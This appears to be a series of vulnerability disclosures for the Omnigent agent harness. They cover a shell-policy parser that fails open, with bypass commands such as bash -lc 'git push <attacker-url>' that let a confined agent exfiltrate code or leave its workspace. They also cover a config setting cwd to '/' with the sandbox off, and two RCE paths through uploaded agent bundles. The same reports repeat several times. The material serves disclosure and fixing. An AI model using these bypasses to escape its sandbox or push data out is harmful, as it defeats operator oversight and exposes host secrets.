omnigent

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

2. On a runner without OMNIGENT_RUNNER_WORKSPACE, the agent's sys_os_read/write/edit/shell tools now operate over the whole host filesystem, and (sandbox inactive) inherit the runner's full environment — exposing host secrets via e.g. sys_os_shell("env").

Impact

Arbitrary host-filesystem read/write and runner-environment secret disclosure, available to any authenticated user on an affected deployment. High severity (deployment-conditional).

Suggested fix

Add a control on the cwd field itself in omnigent/spec/_validate_os_env (and/or at parse): reject absolute paths and .. traversal, and require cwd to resolve within the runner workspace / an allow-listed root. Do not rely on OMNIGENT_RUNNER_WORKSPACE being set as the sole defense. Consider also disallowing bundle-author sandbox.type: none for server-realized (non-CLI) sessions.

Related

GHSA-jrrm-9hc7-2v3h (same bundle-upload vector, different sink; that fix does not cover this).

Summary

An authenticated user with edit access to their own session can overwrite a shared/template agent by uploading a full agent bundle through PUT /sessions/{session_id}/agent.

Shared/template agents are shown as not MCP-editable, but this upload path still accepts a replacement bundle. By adding a stdio MCP server to the shared agent, the attacker can cause future runner sessions using that shared agent to start an attacker-controlled command.

Details

The vulnerable endpoint is the full agent bundle upload route: PUT /sessions/{session_id}/agent This route checks whether the caller can edit the session: LEVEL_EDIT session permission check But it does not check whether the bound agent is a shared/template agent. Shared/template agents have:

agent.session_id is None

The API already exposes that these agents are not meant to be MCP-editable: mcp_servers_editable is false for shared/template agents The direct MCP edit endpoint correctly blocks shared/template agents: session_mcp_servers.py shared-agent guard

if agent.session_id is None:
    raise OmnigentError("Built-in agents are read-only through this endpoint.")

The full bundle upload endpoint is missing that same guard. It stores the uploaded bundle and updates the agent row: agent_store.update(agent.id, new_loc) For shared/template agents, this changes the shared agent itself, not only the attacker's session. This becomes command execution because stdio MCP servers start the configured command as a runner subprocess: tools/mcp.py stdio subprocess launch

Suggested fix: add the same agent.session_id is None guard to PUT /sessions/{session_id}/agent.

Impact

This is authenticated RCE against Omnigent runner hosts. A normal authenticated user with edit access to their own session can poison a shared/template agent bundle, even though that agent is shown as not MCP-editable. The poisoned bundle can then be used by future sessions created from the same shared agent.

Because stdio MCP servers run as local subprocesses, the attacker-controlled command executes with the permissions of the Omnigent runner process. In a shared or company-hosted deployment, this can let an attacker read runner-accessible files and credentials, modify workspace data, disrupt runner availability, pivot to internal services reachable from the runner, or establish an interactive remote shell if outbound networking is allowed.

This is high impact because it turns normal shared-agent session access into command execution on runner infrastructure used by other sessions.

Summary

An authenticated user can upload a crafted agent bundle that defines a server-side Python callable tool. The server validates the uploaded bundle, but it does not block dangerous callable: paths in untrusted user-provided agent configs.

When the tool is invoked, the runner imports and executes that Python callable. A crafted bundle can point the tool at subprocess.check_output, which lets the attacker run a local command on the runner machine.

This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands.

Details

The uploaded bundle path is reachable through session creation. Omnigent supports custom agent bundles through multipart POST /v1/sessions; the Web UI uses this same endpoint for custom agents:

Create custom agent builds and uploads a bundle
createBundledSession posts the bundle to /v1/sessions

A crafted bundle can also be submitted directly through the API/CLI when creating a session from agent YAML. The PoC below uses this direct bundle shape so the vulnerable trust boundary is easy to reproduce.

On the server, uploaded bundles are validated here: validate_agent_bundle

The validator already treats uploaded bundles as untrusted in some ways. For example, it disables server-side environment expansion and can enforce a policy-handler allowlist:

spec = load(
    bundle_bytes,
    dest=Path(tmpdir) / "agent",
    expand_env=False,
    enforce_handler_allowlist=enforce_handler_allowlist,
)

However, the same validation does not reject tools.<name>.callable entries in an uploaded agent bundle. Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too.

The docs describe server-side Python callable tools here: Python function tool docs
Later, the runner resolves and executes those callables: _resolve_spec_callable imports the dotted path

mod = importlib.import_module(module_name)
fn = getattr(mod, attr_name, None)

_execute_spec_callable_tool calls the resolved function

result = await asyncio.to_thread(resolved, **args)

The high-level tool dispatcher falls back to this callable execution path: execute_tool callable fallback

output = await _execute_spec_callable_tool(tool_name, args, agent_spec=agent_spec)

The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. The upload validator blocks some trusted-only policy behavior, but it does not block trusted-only tool callables.

Suggested fix: when validating HTTP-uploaded bundles on a shared/multi-user server, reject server-side Python callable tools unless they are explicitly allowlisted by the operator. A conservative fix would reject callable: tool paths for tenant-uploaded bundles, while keeping trusted local/operator-authored configs working.

Impact

This is authenticated RCE against the Omnigent runner environment. A normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.

Because the callable runs inside the runner process, the attacker-controlled code runs with the runner's permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability.

This is high impact because it crosses the boundary from "upload an agent config" to "execute local code on shared runner infrastructure" without requiring admin/operator access.

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Summary

An authenticated, non-admin user can obtain arbitrary host-filesystem read/write (and host environment-secret disclosure) on an Omnigent runner by uploading an agent bundle whose os_env.cwd points outside any intended workspace (e.g. / or /home/<victim>). The cwd field is taken verbatim from the bundle with no validation, normalization, or boundary check anywhere in the spec pipeline.

This is a different sink from GHSA-jrrm-9hc7-2v3h (CWE-94, shared-agent bundle overwrite -> stdio MCP RCE). It shares the bundle-upload vector but is reached through the user's own session-scoped agent and is not addressed by that advisory's proposed shared-agent guard.

Preconditions

• Runner realizes a session-scoped uploaded bundle without OMNIGENT_RUNNER_WORKSPACE set. When that env var is set (CLI- and host-launched sessions set it), the spec cwd is overridden and the attack is neutralized — so this is deployment-gated, not universal.
• Attacker is any authenticated user (no admin scope; _require_user only checks identity). No shared-agent overwrite needed.

Details (verified against code)

1. Parse — no validation. omnigent/spec/parser.py:696 stores cwd=str(cwd_raw) verbatim. Absolute paths (/, /etc), ../.., etc. are all accepted. The sandbox.type is likewise author-chosen and "none" is legal.
2. Validate — cwd unconstrained. omnigent/spec/validator.py _validate_os_env checks only fork/scratch/egress combinations; it never references cwd (the sole mention, line ~526, is a comment). No boundary is applied to the cwd itself. The boundary in server/schemas.py validates a caller-supplied workspace against the spec cwd (treating the author cwd as trusted) and only for host-launched sessions — it does not bound the cwd.
3. Sink. omnigent/inner/os_env.py:890 sets cwd = Path(spec.cwd or os.getcwd()).resolve(strict=False) as the environment root; os_env.py:934 does shutil.copytree(src=cwd, ...) when fork=true. All agent file/shell tools are bounded by _assert_within_cwd (os_env.py:1040), which checks resolved.relative_to(cwd) — but since cwd is attacker-controlled, cwd=/ makes the entire host filesystem in-bounds for read and write; fork=true with cwd=/home/victim copies that tree into the agent-readable workspace.
4. Decisive gate. omnigent/runner/resource_registry.py:648-654: cwd = default_cwd only when self._runner_workspace is not None or spec_os_env.cwd in (None, ".", "./"); otherwise cwd = spec_os_env.cwd (the attacker's absolute path). So OMNIGENT_RUNNER_WORKSPACE is the only thing standing between the spec and the host FS — and it is an operational control, not an in-code guard. A code comment at tool_dispatch.py:~4207 claims cwd "is treated as a boundary at session-create time," which is not true on this path.

Attack path

1. Authenticated user sends POST /v1/sessions (multipart) with an agent bundle whose config.yaml contains:

   os_env:
     cwd: "/"            # or /home/<victim>, with fork: true for one-shot exfil
     sandbox: { type: none }
   

